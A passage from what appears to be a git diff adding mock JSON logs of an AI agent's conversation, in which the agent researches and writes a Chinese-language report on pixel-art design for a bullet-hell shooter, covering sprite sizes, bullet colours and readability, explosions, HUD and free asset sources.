https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design\n- **SLYNYRD Pixelblog 32 - Shmup Design Part 2**:玩家射击类型(Vulcan/Laser/Homing)、道具、环境/视差 | https://www.slynyrd.com/blog/2021/2/15/pixelblog-32-shmup-design-part-2\n- **Pixel Art Tutorial - Understanding Explosions**(Penusbmic,itch.io 视频教程):爆炸动画两种做法 | https://penusbmic.itch.io/pixel-art-tutorial-understanding-explosions\n- **The 12 animation principles adapted for pixel art**(sprite-ai.art):低分辨率下的挤压拉伸/跟随动作 | https://www.sprite-ai.art/guides/animation-principles\n- **Aseprite / Piskel 爆炸教程**(YouTube 检索词:Aseprite pixel art explosion tutorial)\n- Piskel(免费在线像素编辑器):https://www.piskelapp.com\n\n### 5.5 建议搜索关键词(继续深挖用)\n\n`pixel art shmup sprites`、`bullet hell pixel art assets`、`STG sprite design`、`东方Project 像素风格`、`pixel art explosion animation`、`Touhou danmakufu bullet graphics`、`danmaku bullet sheets site:itch.io`、`shmup hitbox indicator`、`CAVE 子弹精灵拆解`\n\n---\n\n## 6. 给本项目落地落实的美术规范建议(可直接执行)\n\n1. **画布与倍率**:逻辑分辨率 **480×270(推荐)或 320×180**,整数倍放大 3~4 倍输出;所有精灵按 16 或 8 的倍数取尺寸(16×16 自机起步 / 32×32 精细自机;敌弹 8~16×16 系列;Boss 64×64)。\n2. **色板分工(建议)**:\n - 背景:低饱和中暗调(深蓝紫灰系),价值集中在中间调;\n - 敌方子弹:红/粉/紫系(8 色 Danmakufu 色板起步)+ 白/亮描边;\n - 我方子弹:青/绿白系 + 深描边;自机:高对比品牌色(如红白、蓝白);\n - 道具:金/橙(得分)、红(火力 P)、蓝(速度 S)、银灰(Bomb)——注意与敌弹色彩错开;\n - 爆炸:白→橙红黄→灰;\n - 预警:蓄力时变亮/变红,激光先亮细线。\n3. **动画帧数基线**:自机滚转 3~5 帧 + 尾焰 2~4 帧;敌机 2~4 帧;子弹旋转 4 帧(或 8 帧)、脉动 2~4 帧、闪烁 2 帧;爆炸 6~10 帧;道具 idle 2~4 帧。统一 12~15 FPS。\n4. **判定与显示**:自机真实判定用 2~4px 半径小圆,聚焦时显示同心空心圆 + 中心点(半透明+微旋),判定圈与显示圈完全同心。\n5. **绘制顺序(渲染层)**:背景 → 道具/粒子 → 我方子弹 → 敌人本体 → 我方自机 → **敌方子弹(最顶层)**;敌弹内部:小快弹 > 大慢弹。\n6. **工作流建议**:先用 itch.io/OpenGameArt 免费包搭出可玩原型(自机 1 + 敌机 3 + 子弹 5 种 + 爆炸 1 + UI 板),再按上述规范逐一套用原创精灵替换;调色与动画用 Aseprite(付费,推荐)或 Piskel(免费)。\n\n---\n\n## 7. 信息来源与可信度说明\n\n- **基于实测/原文提取的内容**(可信度高,可自行核验):SLYNYRD Pixelblog 31/32 全文、Boghog's bullet hell shmup 101 全文、void-dancer Danmaku Sprite Pack 页面、LivingTheIndie 免费 SHMUP 素材描述、各 itch.io/OpenGameArt 页面标题与标签。\n- **基于第三方社区/百科归纳**:Touhou Wiki 判定点机制(Hitbox 条目)、Maribel Hearn 的 Touhou Jargon、Sparen 弹幕教程、note 上\"15 个美丽弹幕\"文章、Reddit r/shmupdev 讨论——这些是社区整理,非官方文档,具体数值(如判定点像素大小、各作品子弹尺寸)以实际游戏/官方资料为准。\n- **标注为\"既有认知+\"的内容**(第 1.3 节东方风格总结):来自模型训练知识与社区资料交叉印证,非实时官方文档,**未逐一验证**,使用前建议对照东方官方立绘/游戏截图复核。\n- **价格为检索时点快照**(如 $5.50、$4.99),可能变动,以页面为准。"}, "ts": 1787459537022}, {"type": "progress", "id": "call_686f6d2a524e42c8814f49b1", "tool": "run_command", "status": "running", "args": {"command": "ls -la /Users/demo/starraid/research/pixel_art_style/ && wc -l /Users/demo/starraid/research/pixel_art_style/pixel_art_research.md && head -20 /Users/demo/starraid/research/pixel_art_style/pixel_art_research.md", "timeout": 30}, "ts": 1787459540420}, {"type": "progress", "id": "call_686f6d2a524e42c8814f49b1", "tool": "run_command", "status": "completed", "args": {"command": "ls -la /Users/demo/starraid/research/pixel_art_style/ && wc -l /Users/demo/starraid/research/pixel_art_style/pixel_art_research.md && head -20 /Users/demo/starraid/research/pixel_art_style/pixel_art_research.md", "timeout": 30}, "ts": 1787459540464}, {"type": "progress", "id": "call_a408a501756e44adbaca2207", "tool": "todo_update_task", "status": "running", "args": {"completed": true, "task_indices": [6]}, "ts": 1787459543369}, {"type": "progress", "id": "call_a408a501756e44adbaca2207", "tool": "todo_update_task", "status": "completed", "args": {"completed": true, "task_indices": [6]}, "ts": 1787459543369}]}} \ No newline at end of file diff --git a/website-design/exp/mock/bootstrap-conv_20260823_122836_778.json b/website-design/exp/mock/bootstrap-conv_20260823_122836_778.json new file mode 100644 index 00000000..a828580d --- /dev/null +++ b/website-design/exp/mock/bootstrap-conv_20260823_122836_778.json @@ -0,0 +1 @@ +{"success": true, "data": {"conversation_id": "conv_20260823_122836_778", "edited_files": [{"path": "research/pixel_art_style/pixel_art_research.md", "op": "write"}, {"path": "research/weapon_system/weapon_research.md", "op": "write"}], "messages": [{"role": "user", "content": "我要做一个像素风格的弹幕射击游戏,但我不知道如何美术设计,请你帮我去调研一下其他的弹幕游戏的武器和敌方的射击,用 [$sub-agent-guide](.astrion/skills/sub-agent-guide/SKILL.md) 去调研", "timestamp": "2026-08-23T12:28:37.104822", "message_id": "msg_bd8cd5069b124b35822dd007a9936799", "metadata": {"message_source": "user", "visibility": "chat", "starts_work": true, "work_timer": {"status": "completed", "started_at": "2026-08-23T12:28:37.104815", "finished_at": "2026-08-23T12:35:23.108235", "duration_ms": 406003}, "edit_summary": {"version": 1, "updated_at": "2026-08-23T12:32:27.760946", "files": [{"path": "research/pixel_art_style/pixel_art_research.md", "baseline": null, "baseline_truncated": false, "created_at": "2026-08-23T12:32:17.013307", "status": "added", "added": 259, "removed": 0, "lines": [{"type": "add", "content": "# 像素风格弹幕射击游戏(Bullet Hell / STG)美术设计调研报告", "new_no": 1}, {"type": "add", "content": "", "new_no": 2}, {"type": "add", "content": "> 调研时间:2026-08-23", "new_no": 3}, {"type": "add", "content": "> 调研范围:玩家自机设计、敌方单位设计、子弹/弹幕像素美术、特效与 UI、免费素材与参考资源", "new_no": 4}, {"type": "add", "content": "> 主要信息来源:SLYNYRD(Pixelblog 31/32)、Shmups Wiki「Boghog's bullet hell shmup 101」、Touhou Wiki、Sparen's Danmaku Design Studio、itch.io / OpenGameArt 素材库、(注:详见文末「信息来源与可信度」说明)", "new_no": 5}, {"type": "add", "content": "", "new_no": 6}, {"type": "add", "content": "---", "new_no": 7}, {"type": "add", "content": "", "new_no": 8}, {"type": "add", "content": "## 0. 摘要与总体结论", "new_no": 9}, {"type": "add", "content": "", "new_no": 10}, {"type": "add", "content": "- **弹幕游戏(Danmaku)的美术核心不是\"好看\",而是\"可读性(Readability)\"**:在屏幕同时存在数百颗子弹、多个敌人、粒子特效与道具时,玩家必须能在一瞬间分辨\"哪些是威胁、往哪里躲\"。所有美术决策都应服务于这一目标。", "new_no": 11}, {"type": "add", "content": "- **色彩价值(Value)分层是清晰度的关键**:背景用低对比中间调,子弹用小面积高亮+暗色描边(亮暗相邻),玩家子弹、敌方子弹、道具、爆炸用不同明度层级区分。", "new_no": 12}, {"type": "add", "content": "- **尺寸基准很重要**:16:9 屏幕下 SLYNYRD 建议 320×180 ~ 640×360 逻辑分辨率;自机相对屏幕的比例决定难度与手感。弹幕游戏常用低分辨率(如 480×270)让像素感更强烈、单位像素信息更少、制作更快。", "new_no": 13}, {"type": "add", "content": "- **判定框(Hitbox)视觉提示**是东方式弹幕的标配:低速(聚焦)模式下显示一个小点或小圈,明确告诉玩家\"真正会中弹的位置\",与自机精灵大小形成强烈对比。", "new_no": 14}, {"type": "add", "content": "- **免费素材足够支撑原型开发**:itch.io 与 OpenGameArt 上有大量免费像素 STG 素材(自机、敌机、子弹、爆炸、UI),落地阶段可先采购/复用,再逐步原创替换。", "new_no": 15}, {"type": "add", "content": "", "new_no": 16}, {"type": "add", "content": "---", "new_no": 17}, {"type": "add", "content": "", "new_no": 18}, {"type": "add", "content": "## 1. 玩家飞船 / 角色设计", "new_no": 19}, {"type": "add", "content": "", "new_no": 20}, {"type": "add", "content": "### 1.1 分辨率与屏幕尺寸基准(先定画布再画图)", "new_no": 21}, {"type": "add", "content": "", "new_no": 22}, {"type": "add", "content": "- SLYNYRD(Raymond Schlitter,Thyrian Defenders 作者)建议:16:9 屏幕下,**逻辑分辨率黄金区间为 320×180 ~ 640×360**;其教程以 **480×270** 为目标。", "new_no": 23}, {"type": "add", "content": "- 分辨率越低像素越\"块\",像素味越浓、绘制耗时越少;但分辨率过高会失去像素艺术的\"集群可读性(reading intention within clusters)\"。", "new_no": 24}, {"type": "add", "content": "- **自机相对屏幕的比例是决定玩法的关键因素**:屏幕越大、自机越小 → 适合高速、多元素同屏的弹幕玩法;自机占屏比越大 → 可容纳的物体越少、玩家反应时间越短(难度体验完全不同)。", "new_no": 25}, {"type": "add", "content": "- 常见像素倍率:逻辑分辨率 320×180 / 480×270,放大 2~4 倍整数倍显示,避免像素走样。", "new_no": 26}, {"type": "add", "content": "", "new_no": 27}, {"type": "add", "content": "**建议(本项目)**:采用 480×270 或 320×180 逻辑分辨率;自机精灵建议 16×16(低配小自机)或 24×24 / 32×32(更有性格);弹幕量较大的话自机宜偏小。", "new_no": 28}, {"type": "add", "content": "", "new_no": 29}, {"type": "add", "content": "### 1.2 经典像素 STG 自机设计要点(大小、配色、识别度)", "new_no": 30}, {"type": "add", "content": "", "new_no": 31}, {"type": "add", "content": "综合 SLYNYRD 教程与 Boghog 指南:", "new_no": 32}, {"type": "add", "content": "", "new_no": 33}, {"type": "add", "content": "- **简洁+独特**:设计越复杂,动画越难做。建议在机翼加条纹(striping)增加性格,同时强调滚转(roll)的深度感。", "new_no": 34}, {"type": "add", "content": "- **倾斜/滚转动画**:至少 左/右 + 居中 三帧;SLYNYRD 推荐每侧 **2 帧不同滚转度**(共 5 帧),配合侧向光源,左右移动更平滑(支持模拟输入时可分档滚转)。", "new_no": 35}, {"type": "add", "content": "- **尾焰/推进器动画(thruster animation)是必须**:让飞船\"活着\"的关键,通常 2~4 帧。", "new_no": 36}, {"type": "add", "content": "- **光源方向全场景统一**:所有精灵与背景使用同一方向光源,才能保持\"飞行\"的立体幻觉。", "new_no": 37}, {"type": "add", "content": "- **识别度三要素**:① 与背景/敌方单位的明度层级区分;② 自机弹幕流要\"厚、快、密\"——玩家在紧张的弹幕环境中主要靠弹幕流+轮廓+微光来估算自机位置(Boghog);③ 判定中心可加视觉强调(见 1.5)。", "new_no": 38}, {"type": "add", "content": "- **移动手感与视觉配合**:滚转动画速度应匹配移动速度;无惯性移动(Boghog 强烈建议避免移动惯性),若感觉移动\"不流畅\"多半是视觉问题而非参数问题——加残影(afterimage)、尾迹(trail)可显著改善跟手感。", "new_no": 39}, {"type": "add", "content": "", "new_no": 40}, {"type": "add", "content": "### 1.3 东方Project 系列的角色精灵风格", "new_no": 41}, {"type": "add", "content": "", "new_no": 42}, {"type": "add", "content": "(说明:以下为对 ZUN 官方游戏内精灵风格的既有认知 + 社区资料的归纳,非实时官方文档。)", "new_no": 43}, {"type": "add", "content": "", "new_no": 44}, {"type": "add", "content": "- 东方系列正作均为**纵轴弹幕射击**,自机/敌机使用**低分辨率角色小精灵**(PC-98 时代为 16×16 级;Windows 时代精灵更精细但整体仍是\"小尺寸、高识别度\"路线)。", "new_no": 45}, {"type": "add", "content": "- 精灵风格特点:**大胆的色块、平涂/少渐变、深色描边**;角色通过发型、发色、服装主色快速辨识(如博丽灵梦的红白、雾雨魔理沙的黑白)。", "new_no": 46}, {"type": "add", "content": "- **判定点文化**:按住 Shift 进入低速模式时,自机身上显示一个**小点/小圈标记判定点**(见 1.5),这是东方体系对弹幕公平性的核心贡献,被大量同类游戏沿用。", "new_no": 47}, {"type": "add", "content": "- 弹幕本体是同人圈大量复刻的视觉语言:圆弹(tama)、椭圆弹、苦无(kunai)、星弹、音符、护符(amulet)等,见第 3 节。", "new_no": 48}, {"type": "add", "content": "- 参考手绘同人/教程中常被提到的 ZUN 风格要点:面部与发型保持多年一致;早期(PC-98)更简朴,色块平涂、用色大胆;Windows 期精灵颜色细节更多但仍保持低饱和背景衬托高饱和子弹的做法。", "new_no": 49}, {"type": "add", "content": "", "new_no": 50}, {"type": "add", "content": "### 1.4 像素飞船设计要点(落地 Checklist)", "new_no": 51}, {"type": "add", "content": "", "new_no": 52}, {"type": "add", "content": "| 项目 | 建议 |", "new_no": 53}, {"type": "add", "content": "|---|---|", "new_no": 54}, {"type": "add", "content": "| 尺寸 | 16×16(极简)/ 24×24 / 32×32(推荐起步) |", "new_no": 55}, {"type": "add", "content": "| 帧数 | 居中 1 帧 + 左右滚转各 1~2 帧 = 3~5 帧;尾焰 2~4 帧 |", "new_no": 56}, {"type": "add", "content": "| 调色板 | 4~8 色以内/精灵:主色 1~2、辅色/描边 1~2、高光 1、尾焰橙黄 2~3 |", "new_no": 57}, {"type": "add", "content": "| 描边 | 深色(近黑)描边,与\"用白色描边的敌方子弹\"形成体系区分 |", "new_no": 58}, {"type": "add", "content": "| 轮廓 | 剪影可读性优先,避免细节糊成一片;从剪影草图开始 |", "new_no": 59}, {"type": "add", "content": "| 判定中心 | 建议在自机中心下方(东方系在腰部)标 1~2px 亮点 |", "new_no": 60}, {"type": "add", "content": "", "new_no": 61}, {"type": "add", "content": "### 1.5 判定框(Hitbox)视觉提示设计", "new_no": 62}, {"type": "add", "content": "", "new_no": 63}, {"type": "add", "content": "- **机制背景**:东方系列中自机碰撞通常用一个**远小于精灵的小圆(约数像素半径)**判定(源自 Touhou Wiki「Hit box」条目:Hitbox 是角色腰部附近的一个小圆,聚焦时可显示)。", "new_no": 64}, {"type": "add", "content": "- **视觉提示做法(主流方案)**:", "new_no": 65}, {"type": "add", "content": " 1. **低速/聚焦模式才显示**:按住 Shift(低速)时显示一个半透明小圆圈/小点;普通模式不显示(避免干扰)。", "new_no": 66}, {"type": "add", "content": " 2. 提示图形建议:**空心圆 + 中心实点**,对比色(如白/亮色配深色描边),随聚焦模式**轻微旋转/脉动**增加存在感(红魔乡社区的 d3d8.dll hitbox 补丁即模拟这种\"旋转+透明度变化\"行为)。", "new_no": 67}, {"type": "add", "content": " 3. 判定圈大小应**可配置**(不同自机可不同),提示圈与真实判定圈完全同心、直径一致。", "new_no": 68}, {"type": "add", "content": "- **视觉之外的判定公平性**:Boghog 建议——玩家子弹给\"大判定\"、敌人给\"大受击判\"(补偿微操作失误);玩家命中应\"慷慨\"(覆盖贴合情况),才不会有挫败感。", "new_no": 69}, {"type": "add", "content": "", "new_no": 70}, {"type": "add", "content": "---", "new_no": 71}, {"type": "add", "content": "", "new_no": 72}, {"type": "add", "content": "## 2. 敌方单位设计", "new_no": 73}, {"type": "add", "content": "", "new_no": 74}, {"type": "add", "content": "### 2.1 杂兵(Enemy Grunts)的像素设计", "new_no": 75}, {"type": "add", "content": "", "new_no": 76}, {"type": "add", "content": "- **同一阵营视觉统一+个体差异**:SLYNYRD 强调\"一组单位共享视觉一致性(形态语言、配色体系),又通过形状与颜色彼此区分\"。", "new_no": 77}, {"type": "add", "content": "- **角色定位决定美术**:按\"速度 / 血量 / 体型 / 几何弹道 / 颜色\"五要素设计(SLYNYRD):", "new_no": 78}, {"type": "add", "content": " - **Popcorn(一发即死的小怪)**:体积小、快、成群出现,是为了制造\"动作感\"而非威胁;血量只要够\"打完这一局\"即可,不要虚高(Boghog)。", "new_no": 79}, {"type": "add", "content": " - 快怪 ↔ 低血量+弱弹;慢怪 ↔ 高血量+强火力,尺寸跨度要大。", "new_no": 80}, {"type": "add", "content": "- **做 hit 反馈**:受击要闪烁/粒子/抖动,配轻量音效,否则敌人像\"虚影\"(Boghog)。", "new_no": 81}, {"type": "add", "content": "- **大判定+可预测移动**:弹幕游戏的挑战来自弹幕而非躲闪敌人本体,所以敌人受击判定要大、移动要慢且可预测(Boghog)。", "new_no": 82}, {"type": "add", "content": "- **尺寸参考**:杂兵 16×16 ~ 24×24;中 Boss(miniboss)32×32~48×48;帧数 2~4 帧(多帧震动/开火动画)。", "new_no": 83}, {"type": "add", "content": "", "new_no": 84}, {"type": "add", "content": "### 2.2 Boss 的体型与细节层次", "new_no": 85}, {"type": "add", "content": "", "new_no": 86}, {"type": "add", "content": "- **体型梯度**:Boss 应显著大于杂兵(如 48×48、64×64 甚至 96×96),\"越大杀起来越爽\"(SLYNYRD),但不要大到遮挡弹幕视野。", "new_no": 87}, {"type": "add", "content": "- **细节层次**:Boss 可以有更多层细节(多层装甲、发光炮口、悬浮部件/浮游炮),但**核心剪影仍需在弹幕中一眼可读**;建议给 Boss 的主炮口、弱点做高亮标记。", "new_no": 88}, {"type": "add", "content": "- **Boss 血条分段**:许多 STG 用可视化的 Boss 血条分段(每段切换一个攻击模式),例如 Gamedeveloper 文章提到\"视觉上将 Boss 血条分段以显示本段攻击何时结束\"。", "new_no": 89}, {"type": "add", "content": "- **Boss 出场仪式**:Boss 出现前要有\"警告留白\"(玩家无事可做、专注看字幕/警告),用于聚集注意力(Anatomy of a Shmup)。", "new_no": 90}, {"type": "add", "content": "- **Boss 爆炸要\"壮观\"**:屏幕级闪光 + 大爆炸动画 + 碎片四散(见 4.1)。", "new_no": 91}, {"type": "add", "content": "", "new_no": 92}, {"type": "add", "content": "### 2.3 敌方攻击前的视觉预警(Telegraph)", "new_no": 93}, {"type": "add", "content": "", "new_no": 94}, {"type": "add", "content": "- **蓄力动画**:炮口发光→聚集→发射,是通用预警语言;用 2~4 帧\"粒子向炮口汇聚/炮口颜色渐亮\"表达。", "new_no": 95}, {"type": "add", "content": "- **颜色变化**:攻击前单位变色(如变红/变亮)提示即将开火。", "new_no": 96}, {"type": "add", "content": "- **激光预警**:东方系激光常见\"先显示一条细亮线(约半秒)再出现命中判定\",是纯粹靠视觉(而非判定)预告的典型做法(社区对永夜抄等作品的解读)。", "new_no": 97}, {"type": "add", "content": "- **模式分阶段呈现**:Boss 战先出简单版弹幕→每次重复更快更密更狠(Bullet Pattern Design 教程),玩家靠\"渐进式预告\"进入节奏。", "new_no": 98}, {"type": "add", "content": "- **背景预告**:关卡背景用\"地标/视觉节奏\"给玩家读版记忆的锚点(SLYNYRD Part 2)——背景不只是装饰,是记忆关卡的工具。", "new_no": 99}, {"type": "add", "content": "- **弹幕扇面/轨迹预告**:可弯曲、可追踪的弹幕建议加尾迹或拉长精灵,让轨迹可读(Boghog)。", "new_no": 100}, {"type": "add", "content": "", "new_no": 101}, {"type": "add", "content": "---", "new_no": 102}, {"type": "add", "content": "", "new_no": 103}, {"type": "add", "content": "## 3. 子弹 / 弹幕的像素美术", "new_no": 104}, {"type": "add", "content": "", "new_no": 105}, {"type": "add", "content": "### 3.1 常见像素子弹样式与尺寸", "new_no": 106}, {"type": "add", "content": "", "new_no": 107}, {"type": "add", "content": "**东方/弹幕体系常用子弹类型命名**(Touhou Community Jargon、Danmakufu 文档):球(Ball)、椭圆弹、苦无(Kunai)、护符(Amulet)、星弹(Star 大/小)、音符(Note)、米粒/细菌弹、冰锥/碎片(Shard/Icicle)、箭头(Arrow)、火球、心形、花瓣、蝴蝶等。", "new_no": 108}, {"type": "add", "content": "", "new_no": 109}, {"type": "add", "content": "| 子弹类型 | 常见尺寸 | 形态与用途 |", "new_no": 110}, {"type": "add", "content": "|---|---|---|", "new_no": 111}, {"type": "add", "content": "| 小圆弹(Pellet/Tama) | 8×8 ~ 12×12 | 基础弹,最密集,靠数量形成弹幕 |", "new_no": 112}, {"type": "add", "content": "| 中圆弹(Ball) | 16×16 | 通用主力弹,清晰可读 |", "new_no": 113}, {"type": "add", "content": "| 椭圆弹(Oval) | 16×20 左右 | 带方向感/旋转感,常用于弯曲弹道 |", "new_no": 114}, {"type": "add", "content": "| 苦无/箭形/导向弹(Directed) | 16×32 左右 | **方向性最重要**:图形应随移动方向旋转(SLYNYRD Part 2:箭头形追踪弹必须朝向运动方向) |", "new_no": 115}, {"type": "add", "content": "| 大弹/特殊弹 | 24×24 / 32×32 | Boss 特殊弹、高伤弹 |", "new_no": 116}, {"type": "add", "content": "| 激光(Laser) | 宽 4~16、长任意 | 预热细线→粗化→判定 |", "new_no": 117}, {"type": "add", "content": "", "new_no": 118}, {"type": "add", "content": "### 3.2 子弹颜色与类型的对应关系", "new_no": 119}, {"type": "add", "content": "", "new_no": 120}, {"type": "add", "content": "- **Danmakufu 官方 8 色**:RED、GREEN、BLUE、YELLOW、PURPLE、AQUA、ORANGE、WHITE——可作为色板起点,且激光与子弹共用这 8 色图形。", "new_no": 121}, {"type": "add", "content": "- **颜色编码用途(Note 上\"15 个美丽弹幕\"文章 + Boghog)**:", "new_no": 122}, {"type": "add", "content": " - 用颜色区分\"快弹 / 慢弹 / 装饰弹\"等**危险等级**,玩家读色即知威胁;", "new_no": 123}, {"type": "add", "content": " - 颜色同时用于表达\"瞄准玩家的弹(aimed)\"与\"固定弹(static)\"等行为差异(各 STG 有自己约定,需在游戏内自学);", "new_no": 124}, {"type": "add", "content": " - **红/粉/紫系是弹幕圈事实标准**:与常见特效颜色(黄橙爆炸、金色道具)冲突最少,不易混淆(Boghog 明确指出黄/橙传统弹容易与爆炸和金色道具撞色)。", "new_no": 125}, {"type": "add", "content": "- **子弹颜色与发射单位颜色匹配**(SLYNYRD):敌方单位与它发射的子弹同色系,建立\"谁打的\"直觉。", "new_no": 126}, {"type": "add", "content": "- **我方子弹用另一色系**(如青/绿白),与敌方红/粉/紫建立对战双方色系对立。", "new_no": 127}, {"type": "add", "content": "", "new_no": 128}, {"type": "add", "content": "### 3.3 子弹的动画帧设计(旋转、闪烁、脉动)", "new_no": 129}, {"type": "add", "content": "", "new_no": 130}, {"type": "add", "content": "- **闪烁(Flashing)**:双帧交替即可,对比越强越\"危险\",但对比过强高速移动时反而难追踪(SLYNYRD);常用于\"即将消失/即将命中\"状态。", "new_no": 131}, {"type": "add", "content": "- **旋转(Rotation)**:星形、方形、椭圆可用 4~8 帧旋转;椭圆可做 Z 轴\"翻转\"来模拟 3D 感。", "new_no": 132}, {"type": "add", "content": "- **脉动(Pulse)**:轻微膨胀-收缩,任何形状都适用,让子弹\"活着\"。", "new_no": 133}, {"type": "add", "content": "- **波动/涟漪(Wobble/Ripple)**:CAVE(虫姬/怒首领蜂)子弹常用抖动+涟漪动画,作用是**抓住眼球并给每颗子弹独特身份**(Boghog)。", "new_no": 134}, {"type": "add", "content": "- **动画帧数建议**:2D 旋转 4 帧(90°步进)起步、精细 8 帧;脉动 2~4 帧;闪烁 2 帧。帧率 12~15 FPS 贴合像素风。", "new_no": 135}, {"type": "add", "content": "- **拖尾(Trail)**:轨迹不寻常(弯曲/追踪)的子弹加尾迹,帮助玩家预判(Boghog)。", "new_no": 136}, {"type": "add", "content": "", "new_no": 137}, {"type": "add", "content": "### 3.4 大量弹幕同屏时的视觉清晰度处理(核心)", "new_no": 138}, {"type": "add", "content": "", "new_no": 139}, {"type": "add", "content": "- **价值(Value)分层**:将图像转黑白即可检查——子弹应\"亮部+暗部紧挨\"(发光核心紧贴深色描边/内圈),最大化明度对比;背景用**低对比中间调**,让子弹可以用极值明度自由突出(Boghog)。", "new_no": 140}, {"type": "add", "content": "- **描边(Outline)体系**:**敌方子弹用白色/亮色描边**(或亮+暗双描边),其他精灵用深色描边,从体系上把\"威胁\"和\"物体\"分开(SLYNYRD)。", "new_no": 141}, {"type": "add", "content": "- **分块/分组(Chunking)**:把子弹编成线/环/簇等可读图案,让玩家读\"组合\"而非单颗;**单颗游离子弹最难读,容易显得不公平**(Boghog)。", "new_no": 142}, {"type": "add", "content": "- **深度排序(Depth Sorting)**:敌方子弹永远绘制在自机、我方子弹、道具、爆炸之上;**小且快的子弹绘制在更大更慢的子弹之上**;单颗/小组绘制在大块之上(Boghog)。", "new_no": 143}, {"type": "add", "content": "- **留隙(Design gaps)**:弹幕模式要\"设计缝隙\"——玩家能看见逃生路就公平,光炫但读不出路就让人感到不公平(note 文章)。", "new_no": 144}, {"type": "add", "content": "- **限制换色**:单屏同时出现的弹色建议控制在 2~3 种(Boghog 风格惯例),避免信息过载。", "new_no": 145}, {"type": "add", "content": "- **背景配合**:背景刻意保持暗/中调+低饱和,就是给子弹让出可读空间。", "new_no": 146}, {"type": "add", "content": "", "new_no": 147}, {"type": "add", "content": "---", "new_no": 148}, {"type": "add", "content": "", "new_no": 149}, {"type": "add", "content": "## 4. 特效与 UI", "new_no": 150}, {"type": "add", "content": "", "new_no": 151}, {"type": "add", "content": "### 4.1 爆炸特效的像素动画(SLYNYRD 方法)", "new_no": 152}, {"type": "add", "content": "", "new_no": 153}, {"type": "add", "content": "- **制作流程**:先用\"圆→扩张变细环\"的几何引导确定整体尺寸与扩张速率 → 把圆转成有机火焰团块 → 调团块运动。", "new_no": 154}, {"type": "add", "content": "- **物理真实感原则**:热气先快后慢(热膨胀快、冷却变慢)→ 爆炸**先迅速扩张、后缓慢消散**。", "new_no": 155}, {"type": "add", "content": "- **颜色演变**:**白炽(最亮)→ 暖色(红橙黄)→ 灰烟**消散。", "new_no": 156}, {"type": "add", "content": "- **形态演变**:团块从整体一致→随扩张分裂为多而复杂的小块;暗部逐渐侵入;最大扩张后缓慢上浮并化为烟。", "new_no": 157}, {"type": "add", "content": "- **冲击波**:把引导环稍作修改即可成冲击波环。", "new_no": 158}, {"type": "add", "content": "- **Boss 爆炸**:屏幕级闪光 + 多层大爆炸 + 碎片残留(Anatomy of a Shmup 强调\"一切被摧毁的都应爆炸,Boss 阵亡必须是一场辉煌的灯光秀\")。", "new_no": 159}, {"type": "add", "content": "- **尺寸建议**:爆炸精灵显著大于被摧毁单位(如单位 16×16 → 爆炸 24~48×24~48,8 帧左右);碎屑粒子 2~8 帧。", "new_no": 160}, {"type": "add", "content": "", "new_no": 161}, {"type": "add", "content": "### 4.2 拾取道具的视觉效果", "new_no": 162}, {"type": "add", "content": "", "new_no": 163}, {"type": "add", "content": "- **可读性优先**:道具必须一眼区别于\"威胁物\",形态独特 + **活跃的空闲动画**(idle animation)——旋转、漂浮、脉动、闪光都行(SLYNYRD Part 2)。", "new_no": 164}, {"type": "add", "content": "- **经典道具色/形**:P(Power 火力,红色系)、S(Speed 速度)、Bomb(全屏雷)、1UP 生命、Heart 回血;建议固定配色约定(如红=火力、蓝=速度、金=得分)。", "new_no": 165}, {"type": "add", "content": "- **分布与运动**:从特定敌人掉落 / 中立单位给予 / 随机入场;下落时做左右漂移、反弹、摇摆等\"伸手去接也有意思\"的运动。", "new_no": 166}, {"type": "add", "content": "- **收集反馈**:拾取瞬间应有闪光+粒子+音效+分数飘字(详见 4.3)。", "new_no": 167}, {"type": "add", "content": "- **点收集(Point of Collection)**:靠近屏幕顶端的一条\"自动收集线\"(东方系标准道具回收机制),线上道具全自动收集——UI/视觉上要有明确标识(例如顶部的装饰发光横线)。", "new_no": 168}, {"type": "add", "content": "", "new_no": 169}, {"type": "add", "content": "### 4.3 得分 / 连击的视觉反馈", "new_no": 170}, {"type": "add", "content": "", "new_no": 171}, {"type": "add", "content": "- **数字飘字**:得分/连击数用大号、亮色、带描边的像素数字,从事件点弹出并上浮淡出;字体建议用现成像素字体(如 Press Start 2P、Silkscreen 的开源替代)。", "new_no": 172}, {"type": "add", "content": "- **连击(Combo/Chain)反馈**:连击计时条/乘数图标(如\"x2.5\")靠近 HUD 核心区;连击即将断时闪烁/变红制造紧张感(Dodonpachi 式\"防御性计分\"靠视觉压力驱动玩法)。", "new_no": 173}, {"type": "add", "content": "- **擦弹(Graze)反馈**:子弹擦过判定外圈时给火花/星光 + 分数飘字,是东方系核心爽点,视觉上要有专门粒子。", "new_no": 174}, {"type": "add", "content": "- **分数增长可视化**:让\"数字变大\"成为本能驱动(Boghog:大亮数字的成长本身就是激励)。", "new_no": 175}, {"type": "add", "content": "- **层次化强调**:重要计分元素视觉上加强(更大更亮),次要元素弱化,让玩家一眼抓住当前目标(Boghog「Depth vs Clarity」)。", "new_no": 176}, {"type": "add", "content": "", "new_no": 177}, {"type": "add", "content": "### 4.4 血条、Bomb 数量等 HUD 设计", "new_no": 178}, {"type": "add", "content": "", "new_no": 179}, {"type": "add", "content": "- **HUD 基础要素**(STG 惯例):得分、连击/擦弹、自机数量(残机图标)、Bomb 数量(B 图标)、火力等级、Boss 血条(分段)、Boss 名/符卡名横幅、暂停/接关菜单。", "new_no": 180}, {"type": "add", "content": "- **Boss 血条**:建议**分段色条**(每段对应一个攻击阶段),置于屏幕上方通栏;段末闪白提示\"即将切换攻击\"。", "new_no": 181}, {"type": "add", "content": "- **Bomb 图标**:用典型\"B\"或者手雷/符卡造型的像素图标,数量用并列小图标表示(东方系风格:一枚 B 一颗星/符卡的排列)。", "new_no": 182}, {"type": "add", "content": "- **残机(Lives)**:像素自机小图标排列,比数字更直观。", "new_no": 183}, {"type": "add", "content": "- **注意遮挡**:HUD 元素放在玩法区之外(顶部/底部条)或半透明;Boghog 提醒玩家主要在屏幕中区活动,HUD 不应遮挡弹幕视野。", "new_no": 184}, {"type": "add", "content": "- **风格统一**:HUD 的像素分辨率、色板、字体与游戏本体一致(CraftPix 等素材库提供现成 pixel UI,可直接适配)。", "new_no": 185}, {"type": "add", "content": "- **像素 UI 素材参考**:CraftPix.net 的 Pixel Art Game UI 分类(免费/付费都有)。", "new_no": 186}, {"type": "add", "content": "", "new_no": 187}, {"type": "add", "content": "---", "new_no": 188}, {"type": "add", "content": "", "new_no": 189}, {"type": "add", "content": "## 5. 参考资源搜索汇总", "new_no": 190}, {"type": "add", "content": "", "new_no": 191}, {"type": 